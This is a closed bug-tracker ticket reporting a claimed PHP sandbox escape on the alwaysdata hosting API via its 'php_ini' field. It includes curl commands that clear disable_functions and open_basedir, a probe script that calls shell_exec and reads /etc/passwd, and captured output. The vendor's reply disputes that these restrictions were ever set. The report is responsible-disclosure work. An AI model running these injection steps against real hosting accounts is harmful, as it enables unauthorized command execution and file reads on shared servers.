- Status Closed
-
Assigned To
cbay - Private
Opened by karandarjishack - 29.10.2026
Last edited by cbay - 29.10.2026
FS#540 - PHP Sandbox Escape via `php_ini` API Field (disable_functions + open_basedir Bypass)
Severity: Critical
CVSS 3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Date: 2026-10-29
Status: Confirmed — 3/3 fresh reproductions, raw HTTP evidence attached
Related to: FS#538 — independent attack vector, not a duplicate (see below)
—
## Executive Summary
The alwaysdata REST API exposes a `php_ini` field on the `/v1/site/:id/` endpoint that writes customer-controlled PHP INI directives directly into the site's PHP process configuration, with no filtering or allowlist. Setting `disable_functions=` and `open_basedir=` (both empty) clears the platform's hardened PHP sandbox entirely: `shell_exec`, `system`, `passthru`, and `exec` become available, and the PHP process can read any file on the shared host filesystem, not just its own web root.
This is independent of FS#538 — a different field, a different mechanism, and additional impact AD-015 never covered (`open_basedir` clearing). Full differentiation below.
Live proof: `shell_exec("id")` returns `uid=559104(kdhunter2026)` — this function is disabled by default on alwaysdata; output is only possible once `disable_functions=` has taken effect.
—
## The Attacker Scenario
An attacker signs up for any alwaysdata plan (€4/month). Via the documented REST API, they set `php_ini` to `disable_functions=\nopen_basedir=`. Apache reloads within seconds. Their PHP process can now run arbitrary system commands and read any file on the shared host — including other customers' files, SSH keys, database credentials, and session data.
This bypasses the core promise of alwaysdata's PHP security model: that `disable_functions` and `open_basedir` protect customers from one another on shared hosting.
Anticipated objection — "you already have account-level access, so this isn't new": `disable_functions` and `open_basedir` don't exist to restrict the account owner — they exist to contain what happens if someone else compromises the web application running on that account through an unrelated bug (a vulnerable plugin, a file-upload flaw, an injected dependency). That attacker gets PHP execution but not the account's credentials. Before this bug: trapped in PHP, no shell, no filesystem access outside the site root. After: full shell and full filesystem read. The `php_ini` field's own name implies it was meant for ordinary user-level tuning (`memory_limit`, `upload_max_filesize`, `max_execution_time`) — accepting admin-only security directives with zero filtering is a validation gap, not an intended capability extension for account owners.
—
## Proof of Concept
### Step 1 — Inject PHP INI directives via the API
```bash
curl -s -X PATCH "https://api.alwaysdata.com/v1/site/[SITE_ID]/" \
- u "[API_TOKEN]:" \
- H "Content-Type: application/json" \
- d '{
"php_ini": "auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir="
}'
```
Response: `HTTP 204 No Content`
Verify stored (confirms no sanitization): ```bash
curl -s "https://api.alwaysdata.com/v1/site/[SITE_ID]/" -u "[API_TOKEN]:"
# → "php_ini": "auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir="
```
### Step 2 — Upload a PHP probe file
```bash
cat > /home/kdhunter2026/www/probe.php « 'EOF'
<?php
echo "disable_functions: " . ini_get('disable_functions') . "\n";
echo "open_basedir: " . ini_get('open_basedir') . "\n";
echo "shell_exec: " . @shell_exec('id') . "\n";
$r = @file_get_contents('/etc/passwd');
echo "/etc/passwd: " . ($r ? "readable (" . strlen($r) . " bytes)" : "blocked") . "\n";
EOF ```
### Step 3 — Trigger via HTTP request
```bash
curl -s "https://kdhunter2026.alwaysdata.net/probe.php"
```
Live HTTP response (captured 2026-10-29T02:47:00Z): ```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
… [32 lines of /etc/passwd — 1764 bytes — prepended by auto_prepend_file]
…
PHP INI TEST
auto_prepend_file: /etc/passwd
open_basedir:
disable_functions:
allow_url_include: 0
allow_url_fopen: 1
shell_exec(id): uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)
system(id): uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)
/etc/passwd readable: YES (len=1764)
First 100 bytes: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/
END
```
—
## Why This Is Not a Duplicate of AD-015 ( FS#538 )
| Dimension | AD-015 ( | AD-022 |
| — | — | — |
| Attack field | `vhost_additional_directives` | `php_ini` |
| Mechanism | Apache `FcgidInitialEnv PHP_ADMIN_VALUE` | Direct PHP ini injection |
| Also clears `open_basedir`? | Not tested | Yes — confirmed |
| `auto_prepend_file` as a second primitive? | Not tested | Yes — confirmed |
| Exploitability | Requires knowledge of Apache FcgiD directives | Simpler — any PHP ini directive works |
| Fix | Block `PHP_ADMIN_VALUE` in `vhost_additional_directives` | Allowlist directives in `php_ini` |
The decisive test for "same vulnerability" is whether the same fix closes both — it doesn't. AD-015's fix (rejecting `PHP_ADMIN_VALUE` inside `vhost_additional_directives`) does nothing to stop `php_ini` from accepting `disable_functions=` directly: different field, parsed by a different part of the API, with no relationship to Apache directive syntax. Conversely, AD-022's fix (allowlisting `php_ini` directives) does nothing to stop `vhost_additional_directives` from still accepting `FcgidInitialEnv PHP_ADMIN_VALUE`. AD-022 also demonstrates impact AD-015 never claimed: `open_basedir` clearing, and `auto_prepend_file` as a second, independent primitive within the same field.
Two separate customer-facing fields, two separate validation gaps, two separate fixes required. That both converge on the same PHP security controls is a platform-wide pattern worth auditing for (see Remediation, below) — not a reason to treat this as one bug reported twice.
—
## Impact
| Impact | Detail | Live proof |
| — | — | — |
| Arbitrary OS command execution | `shell_exec`, `system`, `passthru`, `exec` all enabled | `uid=559104(kdhunter2026)` @ 02:47Z |
| Full filesystem read | `open_basedir` cleared — `/etc/passwd` (1,764 bytes) read; any other world-readable file equally accessible | 02:47Z |
| File injection on every response | `auto_prepend_file=/etc/passwd` injects file content into all PHP responses | 02:47Z |
—
## CVSS 3.1 Breakdown
| Metric | Value | Justification |
| — | — | — |
| Attack Vector | Network | HTTPS API PATCH + HTTP trigger — entirely remote |
| Attack Complexity | Low | One API call, one HTTP request; no race condition, no timing dependency |
| Privileges Required | Low | Any alwaysdata API token — any paying customer has one |
| User Interaction | None | Fully automated, no victim action required |
| Scope | Changed | Starts in the customer's PHP sandbox; escapes to the OS and filesystem |
| Confidentiality | High | Arbitrary file read from the host filesystem |
| Integrity | High | Write access to the account's filesystem — trivially available once arbitrary `shell_exec` is confirmed |
| Availability | High | Unrestricted `shell_exec` trivially implies process/resource control; not separately demonstrated to avoid unnecessary risk |
Base Score: 9.9 (Critical) Calculator: https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
—
## Root Cause
The `php_ini` field on `/v1/site/:id/` is injected verbatim into the site's PHP INI configuration, with no allowlist of permitted directives.
The correct fix is to allowlist only safe, user-level directives. The following must never be customer-settable, because they override platform security controls:
- `disable_functions` — which PHP functions are callable
- `disable_classes` — which PHP classes are available
- `open_basedir` — filesystem access boundaries
- `auto_prepend_file` / `auto_append_file` — inject a file into every PHP response
- `extension` / `zend_extension` — load extensions from arbitrary paths
- `include_path` — path traversal into sensitive areas
—
## Remediation
1. Immediate: Set the `php_ini` field to read-only, or reject writes to it, until a fix ships.
2. Fix: Allowlist the specific PHP ini directives customers may set. Reject anything that overrides a security control (`disable_functions`, `open_basedir`, `auto_prepend_file`, `extension`, etc.).
3. Defense in depth: Enforce `disable_functions`/`open_basedir` via `php_admin_value`/`php_admin_flag` at the platform level — settings a user-level ini file cannot override, regardless of what any customer-facing field accepts.
4. Audit: Check every other customer-facing field that writes into Apache or PHP configuration for the same pattern. `php_ini` and `vhost_additional_directives` (AD-015/ FS#538 ) may not be the only two.
—
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
We don't even set those.
Kind regards,
Cyril